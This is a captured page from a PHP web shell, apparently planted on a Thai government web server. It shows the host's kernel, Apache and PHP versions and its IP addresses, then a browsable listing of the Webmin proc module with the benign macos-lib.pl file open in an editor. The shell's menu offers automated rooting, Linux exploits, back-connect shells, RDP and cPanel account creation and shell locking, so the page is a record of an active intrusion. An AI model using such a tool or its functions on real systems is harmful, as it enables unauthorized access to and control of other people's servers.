Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
proc /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
BorderPanel.class
1.73
KB
-rw-r--r--
BorderPanel.java
1.02
KB
-rw-r--r--
CHANGELOG
1.58
KB
-rw-r--r--
CbButton.class
4.68
KB
-rw-r--r--
CbButton.java
5.31
KB
-rw-r--r--
CbButtonCallback.class
137
B
-rw-r--r--
CbButtonGroup.class
675
B
-rw-r--r--
CbScrollbar.class
4.2
KB
-rw-r--r--
CbScrollbar.java
7.62
KB
-rw-r--r--
CbScrollbarArrow.class
1.9
KB
-rw-r--r--
CbScrollbarCallback.class
164
B
-rw-r--r--
LineInputStream.class
1.74
KB
-rw-r--r--
LineInputStream.java
2.08
KB
-rw-r--r--
Makefile
67
B
-rw-r--r--
MultiColumn.class
9.55
KB
-rw-r--r--
MultiColumn.java
12.55
KB
-rw-r--r--
MultiColumnCallback.class
200
B
-rw-r--r--
StringJoiner.class
783
B
-rw-r--r--
StringSplitter.class
1.2
KB
-rw-r--r--
StringSplitter.java
2.02
KB
-rw-r--r--
Tracer.class
3.99
KB
-rw-r--r--
Tracer.java
2.98
KB
-rw-r--r--
Util.class
4.34
KB
-rw-r--r--
Util.java
3.15
KB
-rw-r--r--
acl_security.pl
1.53
KB
-rwxr-xr-x
cgi_args.pl
280
B
-rwxr-xr-x
config-ALL-linux
84
B
-rw-r--r--
config-aix
83
B
-rw-r--r--
config-freebsd
86
B
-rw-r--r--
config-hpux
83
B
-rw-r--r--
config-irix
83
B
-rw-r--r--
config-macos
84
B
-rw-r--r--
config-netbsd
86
B
-rw-r--r--
config-openbsd
86
B
-rw-r--r--
config-openserver
83
B
-rw-r--r--
config-osf1
82
B
-rw-r--r--
config-solaris
83
B
-rw-r--r--
config-unixware
83
B
-rw-r--r--
config-windows
86
B
-rw-r--r--
config.info
512
B
-rw-r--r--
config.info.ca
630
B
-rw-r--r--
config.info.ca.UTF-8
635
B
-rw-r--r--
config.info.cz
513
B
-rw-r--r--
config.info.cz.UTF-8
555
B
-rw-r--r--
config.info.de
538
B
-rw-r--r--
config.info.de.UTF-8
538
B
-rw-r--r--
config.info.es
336
B
-rw-r--r--
config.info.es.UTF-8
341
B
-rw-r--r--
config.info.fa
748
B
-rw-r--r--
config.info.fr
446
B
-rw-r--r--
config.info.fr.UTF-8
442
B
-rw-r--r--
config.info.hu
490
B
-rw-r--r--
config.info.hu.UTF-8
521
B
-rw-r--r--
config.info.it
576
B
-rw-r--r--
config.info.it.UTF-8
576
B
-rw-r--r--
config.info.ja_JP.UTF-8
553
B
-rw-r--r--
config.info.ja_JP.euc
445
B
-rw-r--r--
config.info.nl
513
B
-rw-r--r--
config.info.nl.UTF-8
513
B
-rw-r--r--
config.info.no
525
B
-rw-r--r--
config.info.no.UTF-8
525
B
-rw-r--r--
config.info.pl
499
B
-rw-r--r--
config.info.pl.UTF-8
517
B
-rw-r--r--
config.info.pt_BR
534
B
-rw-r--r--
config.info.pt_BR.UTF-8
534
B
-rw-r--r--
config.info.ru.UTF-8
891
B
-rw-r--r--
config.info.ru_RU
567
B
-rw-r--r--
config.info.ru_RU.UTF-8
891
B
-rw-r--r--
config.info.ru_SU
567
B
-rw-r--r--
config.info.sv
311
B
-rw-r--r--
config.info.sv.UTF-8
320
B
-rw-r--r--
config.info.tr
517
B
-rw-r--r--
config.info.uk_UA
491
B
-rw-r--r--
config.info.uk_UA.UTF-8
755
B
-rw-r--r--
config.info.zh_CN
214
B
-rw-r--r--
config.info.zh_CN.UTF-8
253
B
-rw-r--r--
config.info.zh_TW.Big5
248
B
-rw-r--r--
config.info.zh_TW.UTF-8
303
B
-rw-r--r--
cpan_modules.pl
73
B
-rwxr-xr-x
defaultacl
38
B
-rw-r--r--
edit_proc.cgi
4.15
KB
-rwxr-xr-x
freebsd-lib.pl
4.5
KB
-rwxr-xr-x
hpux-lib.pl
2.62
KB
-rwxr-xr-x
index.cgi
463
B
-rwxr-xr-x
index_cpu.cgi
1.3
KB
-rwxr-xr-x
index_run.cgi
1.07
KB
-rwxr-xr-x
index_search.cgi
6.48
KB
-rwxr-xr-x
index_size.cgi
1.24
KB
-rwxr-xr-x
index_tree.cgi
1.5
KB
-rwxr-xr-x
index_user.cgi
1.11
KB
-rwxr-xr-x
index_zone.cgi
1.34
KB
-rwxr-xr-x
kill_proc.cgi
738
B
-rwxr-xr-x
kill_proc_list.cgi
860
B
-rwxr-xr-x
killtail.cgi
313
B
-rwxr-xr-x
linux-lib.pl
13.91
KB
-rwxr-xr-x
log_parser.pl
1.05
KB
-rwxr-xr-x
macos-lib.pl
4.45
KB
-rwxr-xr-x
module.info
289
B
-rw-r--r--
module.info.ca
116
B
-rw-r--r--
module.info.ca.UTF-8
130
B
-rw-r--r--
module.info.cz
25
B
-rw-r--r--
module.info.cz.UTF-8
34
B
-rw-r--r--
module.info.de
100
B
-rw-r--r--
module.info.de.UTF-8
112
B
-rw-r--r--
module.info.es
26
B
-rw-r--r--
module.info.es.UTF-8
32
B
-rw-r--r--
module.info.fr
34
B
-rw-r--r--
module.info.fr.UTF-8
40
B
-rw-r--r--
module.info.hu
24
B
-rw-r--r--
module.info.hu.UTF-8
31
B
-rw-r--r--
module.info.it
31
B
-rw-r--r--
module.info.it.UTF-8
37
B
-rw-r--r--
module.info.ja_JP.UTF-8
36
B
-rw-r--r--
module.info.ja_JP.euc
28
B
-rw-r--r--
module.info.ko_KR.UTF-8
43
B
-rw-r--r--
module.info.ko_KR.euc
33
B
-rw-r--r--
module.info.ms_MY
126
B
-rw-r--r--
module.info.ms_MY.UTF-8
138
B
-rw-r--r--
module.info.nl
27
B
-rw-r--r--
module.info.nl.UTF-8
33
B
-rw-r--r--
module.info.no
32
B
-rw-r--r--
module.info.no.UTF-8
38
B
-rw-r--r--
module.info.pl
27
B
-rw-r--r--
module.info.pl.UTF-8
35
B
-rw-r--r--
module.info.pt
27
B
-rw-r--r--
module.info.pt.UTF-8
33
B
-rw-r--r--
module.info.ru.UTF-8
31
B
-rw-r--r--
module.info.ru_RU
20
B
-rw-r--r--
module.info.ru_RU.UTF-8
34
B
-rw-r--r--
module.info.ru_SU
20
B
-rw-r--r--
module.info.sv
25
B
-rw-r--r--
module.info.sv.UTF-8
31
B
-rw-r--r--
module.info.tr
25
B
-rw-r--r--
module.info.zh_CN
22
B
-rw-r--r--
module.info.zh_TW.Big5
29
B
-rw-r--r--
open_files.cgi
2.57
KB
-rwxr-xr-x
openbsd-lib.pl
1.81
KB
-rwxr-xr-x
osf-lib.pl
2.44
KB
-rwxr-xr-x
proc-lib.pl
14.61
KB
-rwxr-xr-x
rbac-mapping
126
B
-rw-r--r--
renice_proc.cgi
617
B
-rwxr-xr-x
run.cgi
1.38
KB
-rwxr-xr-x
safeacl
35
B
-rw-r--r--
syslog_logs.pl
331
B
-rwxr-xr-x
sysv-lib.pl
6.12
KB
-rwxr-xr-x
tail.cgi
750
B
-rwxr-xr-x
trace.cgi
2.4
KB
-rwxr-xr-x
windows-lib.pl
1.25
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : macos-lib.pl
# macos-lib.pl # Functions for parsing macos server ps output sub list_processes { local($pcmd, $line, $i, %pidmap, @plist); if (@_) { open(PS, "ps xlwwwwp $_[0] |"); } else { open(PS, "ps axlwwww |"); } for($i=0; $line=<PS>; $i++) { chop($line); if ($line =~ /ps (axlwwww|xlwwwwp)/ || $line =~ /^\s*UID\s+PID/) { $i--; next; } if ($line =~ /^\s*(\d+)\s+(\d+)\s+(\S+)\s+(\d+)\s+(\d+)\s+(\d+)\s+(\d+)\s+(\S+)\s+(\S+)\s+(\d+)\s+(...)\s+(\S+)\s+(\d+:\d+)\s+(.*)/) { # Old MacOS if ($3 <= 0) { $i--; next; } $plist[$i]->{"pid"} = $3; $plist[$i]->{"ppid"} = $4; $plist[$i]->{"size"} = $8; $plist[$i]->{"bytes"} = $8 * 1024; $plist[$i]->{"time"} = $13; $plist[$i]->{"nice"} = $6; $plist[$i]->{"_tty"} = $12 eq '?' ? $text{'edit_none'} : "/dev/tty$12"; $plist[$i]->{"args"} = $14; $pidmap{$3} = $plist[$i]; } elsif ($line =~ /^\s*(\d+)\s+(\d+)\s+(\S+)\s+(\d+)\s+(\d+)\s+(\S+)\s+(\d+)\s+(\d+)\s+(\S+)\s+(...)\s+(\S+)\s+(\d+:\S+)\s+(.*)/) { # New MacOS if ($2 <= 0) { $i--; next; } $plist[$i]->{"pid"} = $2; $plist[$i]->{"ppid"} = $3; $plist[$i]->{"size"} = $7; $plist[$i]->{"bytes"} = $7 * 1024; $plist[$i]->{"time"} = $12; $plist[$i]->{"nice"} = $6; $plist[$i]->{"_tty"} = $11 eq '??' ? $text{'edit_none'} : "/dev/tty$11"; $plist[$i]->{"args"} = $13; $pidmap{$2} = $plist[$i]; } else { # Unknown line? $i--; } } close(PS); open(PS, "ps auxwwww $_[0] |"); while($line = <PS>) { chop($line); $line =~ /^(\S+)\s+(\d+)\s+(\S+)\s+(\S+)/ || next; if ($pidmap{$2}) { $pidmap{$2}->{"user"} = $1; $pidmap{$2}->{"cpu"} = "$3 %"; } } close(PS); return @plist; } # renice_proc(pid, nice) sub renice_proc { return undef if (&is_readonly_mode()); local $out = &backquote_logged("renice $_[1] -p $_[0] 2>&1"); if ($?) { return $out; } return undef; } %info_arg_map=( "_tty", $text{'macos_tty'} ); @nice_range = (-20 .. 20); $has_fuser_command = 0; # get_new_pty() # Returns the filehandles and names for a pty and tty sub get_new_pty { local @ptys; opendir(DEV, "/dev"); @ptys = map { "/dev/$_" } (grep { /^pty/ } readdir(DEV)); closedir(DEV); local ($pty, $tty); foreach $pty (@ptys) { open(PTY, "+>$pty") || next; local $tty = $pty; $tty =~ s/pty/tty/; open(TTY, "+>$tty") || next; local $old = select(PTY); $| = 1; select(TTY); $| = 1; select($old); return (*PTY, *TTY, $pty, $tty); } return (); } # get_memory_info() # Returns a list containing the real mem, free real mem, swap and free swap, # and possibly cached memory and the burstable limit. All of these are in Kb. sub get_memory_info { my @rv; # Get total memory my $out = &backquote_command("hostinfo 2>/dev/null"); if ($out =~ /Primary\s+memory\s+available:\s+([0-9\.]+)\s+g/i) { $rv[0] = $1 * 1024 * 1024; } else { my $out = &backquote_command("sysctl -a hw.physmem 2>/dev/null"); if ($out =~ /:\s*(\d+)/) { $rv[0] = $1 / 1024; } } # Get memory usage $out = &backquote_command("vm_stat 2>/dev/null"); my %stat; foreach my $l (split(/\r?\n/, $out)) { if ($l =~ /^(.*):\s*(\d+)/) { $stat{lc($1)} = $2; } } my $usage = ($stat{'pages active'} + $stat{'pages wired down'}) * 4; if ($usage > $rv[0]) { $usage = $rv[0]; } $rv[1] = $rv[0] - $usage; # Get swap usage $out = &backquote_command("sysctl -a vm.swapusage 2>/dev/null"); if ($out =~ /total\s*=\s*([0-9\.]+)([KMGT]).*free\s*=\s*([0-9\.]+)([KMGT])/) { $rv[2] = $1*($2 eq "K" ? 1 : $2 eq "M" ? 1024 : $2 eq "G" ? 1024*1024 : $2 eq "T" ? 1024*1024*1024 : 0); $rv[3] = $3*($4 eq "K" ? 1 : $4 eq "M" ? 1024 : $4 eq "G" ? 1024*1024 : $4 eq "T" ? 1024*1024*1024 : 0); } return @rv; } # os_get_cpu_info() # Returns a list containing the 5, 10 and 15 minute load averages, and the # CPU mhz, model, vendor, cache and count sub os_get_cpu_info { &clean_language(); my $out = &backquote_command("uptime 2>&1"); &reset_environment(); my @rv = $out =~ /average(s)?:\s+([0-9\.]+),?\s+([0-9\.]+),?\s+([0-9\.]+)/i ? ( $2, $3, $4 ) : ( undef, undef, undef ); $out = &backquote_command("sysctl -a machdep.cpu.brand_string"); if ($out =~ /:\s*(\S.*)/) { $rv[4] = $1; if ($rv[4] =~ s/\s*\@\s*([0-9\.]+)(GHz|MHz)//i) { $rv[3] = $1 * ($2 eq "GHz" ? 1000 : 1); } } $out = &backquote_command("sysctl -a machdep.cpu.vendor"); if ($out =~ /:\s*(\S.*)/) { $rv[5] = $1; } $out = &backquote_command("sysctl -a machdep.cpu.cache.size"); if ($out =~ /:\s*(\d+)/) { $rv[6] = $1 * 1024; } $out = &backquote_command("sysctl -a machdep.cpu.core_count"); if ($out =~ /:\s*(\d+)/) { $rv[7] = $1; } return @rv; } 1;
Close